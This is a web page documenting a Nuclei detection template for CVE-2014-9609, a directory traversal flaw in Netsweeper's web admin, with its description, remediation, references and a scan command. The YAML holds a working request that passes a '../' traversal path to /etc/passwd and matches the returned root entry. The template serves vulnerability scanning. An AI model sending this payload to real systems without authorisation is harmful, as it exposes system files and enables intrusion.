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Netsweeper 4.0.8 - Directory Traversal

ID: CVE-2014-9609

Severity: medium

Author: daffainfo

Tags: cve2014,cve,netsweeper,lfi,packetstorm,xss

Description

Section titled “Description”

A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action.

YAML Source

Section titled “YAML Source”
id: CVE-2014-9609


info:
  name: Netsweeper 4.0.8 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade to a patched version of Netsweeper or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9609
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2014-9609
    cwe-id: CWE-22
    epss-score: 0.00153
    epss-percentile: 0.51564
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,lfi,packetstorm,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bc95a39f3c2d7c8aecf97397dd77c09e30b1f67dcdab91bc006a9a02777c41a3022100fbdd4548e22bf7e6fbb4d5d0272cd2b5be82bbe3ad52422cdf863e3378dc2eae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-9609.yaml"

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